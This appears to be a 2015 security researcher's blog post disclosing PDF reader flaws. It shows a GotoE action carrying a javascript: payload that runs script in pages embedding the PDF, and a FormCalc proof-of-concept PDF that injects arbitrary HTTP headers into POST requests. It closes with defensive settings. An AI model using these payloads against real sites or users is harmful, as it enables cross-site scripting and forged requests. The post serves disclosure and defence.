Tuesday, May 26, 2015

PDF - Mess with the web

PDF - Mess with the web

In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.


Javascript execution via GotoE

PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.
One of the action is the so called GotoE action. This action is able to change the location of the document eg. /GotoE /F (http://example.com). Normally handlers like javascript: are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <embed> or <object> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.

Formcalc and header manipulation

I already wrote about the capability of formcalc to read same origin files.
The formcalc language offers another feature, which is quite powerful.
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.

Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

    <subform name="_">
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
            /XFA 1 0 R
        /Pages <<>>


I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.


To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.

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